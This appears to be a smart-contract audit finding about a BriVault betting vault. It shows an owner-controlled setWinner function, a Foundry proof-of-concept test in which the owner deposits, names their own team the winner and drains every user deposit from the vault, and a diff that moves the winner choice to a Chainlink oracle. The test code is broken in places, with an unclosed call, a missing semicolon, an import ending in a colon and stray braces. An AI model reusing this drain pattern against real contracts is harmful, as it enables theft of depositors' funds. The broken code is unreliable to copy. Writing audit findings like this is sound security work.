function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
if (block.timestamp <= eventEndDate) {
revert eventNotEnded();
}
require(countryIndex < teams.length, "Invalid country index");
if (_setWinner) {
revert WinnerAlreadySet();
}
winnerCountryId = countryIndex;
@> winner = teams[countryIndex];
_setWinner = true;
_getWinnerShares();
_setFinallizedVaultBalance();
emit WinnerSet(winner);
return winner;
}
function test_owner_can_drain_vault_by_setting_self_as_winner() public {
uint256 ownerBalance_beforeMinting = briToken.balanceOf(
uint256 balanceBeforeEventStarts = mockToken.balanceOf(address(briVault));
uint256 depositAmount = 5 ether;
vm.startPrank(user1);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, user2);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, user3);
vm.stopPrank();
vm.prank(owner);
briVault.setCountry(countries);
vm.prank(user1);
briVault.joinEvent(2);
vm.prank(user2);
briVault.joinEvent(3);
vm.prank(user3);
briVault.joinEvent(5);
uint256 vaultBalanceBefore = mockToken.balanceOf(address(briVault));
uint256 ownerDepositAmount = 1 ether;
uint256 ownerInitialBalance = mockToken.balanceOf(owner)
vm.startPrank(owner);
mockToken.mint(owner, ownerDepositAmount);
mockToken.approve(address(briVault),ownerDepositAmount);
briVault.deposit(ownerDepositAmount, owner);
briVault.joinEvent(0);
vm.stopPrank();
uint256 ownerShares = briVault.balanceOf(owner);
vm.warp(eventStartDate + 1);
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(0);
uint256 ownerBalanceBefore = mockToken.balanceOf(owner);
vm.prank(owner);
briVault.withdraw();
uint256 ownerBalanceAfter = mockToken.balanceOf(owner);
uint256 vaultBalanceAfter = mockToken.balanceOf(address(briVault));
uint256 ownerProfit = ownerBalanceAfter - ownerBalanceBefore;
assertGt(ownerBalanceAfter, ownerBalanceBefore);
assertEq(ownerProfit, ownerBalanceAfter - ownerBalanceBefore);
assertEq(vaultBalanceAfter, 0);
}
+import "@chainlink/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol":
contract BriVault is ERC4626, Ownable {
+ AggregatorV3Interface public chainlinkOracle;
- function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
+ function setWinner() external {
if (block.timestamp <= eventEndDate) {
revert eventNotEnded();
}
+ (,int256 winnerIndex,,,) = chainlinkOracle.latestRoundData();
- require(countryIndex < teams.length, "Invalid country index");
+ require(winnerIndex >= 0 && uint256 (winnerIndex) < teams.length, "Invalid oracle data.");
if (_setWinner) {
revert WinnerAlreadySet();
}
- winnerCountryId = countryIndex;
+ winnerCountryId = uint256(winnerIndex);
- winner = teams[countryIndex];
+ winner = teams[winnerCountryId];
_setWinner = true;
_getWinnerShares();
_setFinallizedVaultBalance();
emit WinnerSet(winner);
return winner;
}
}
}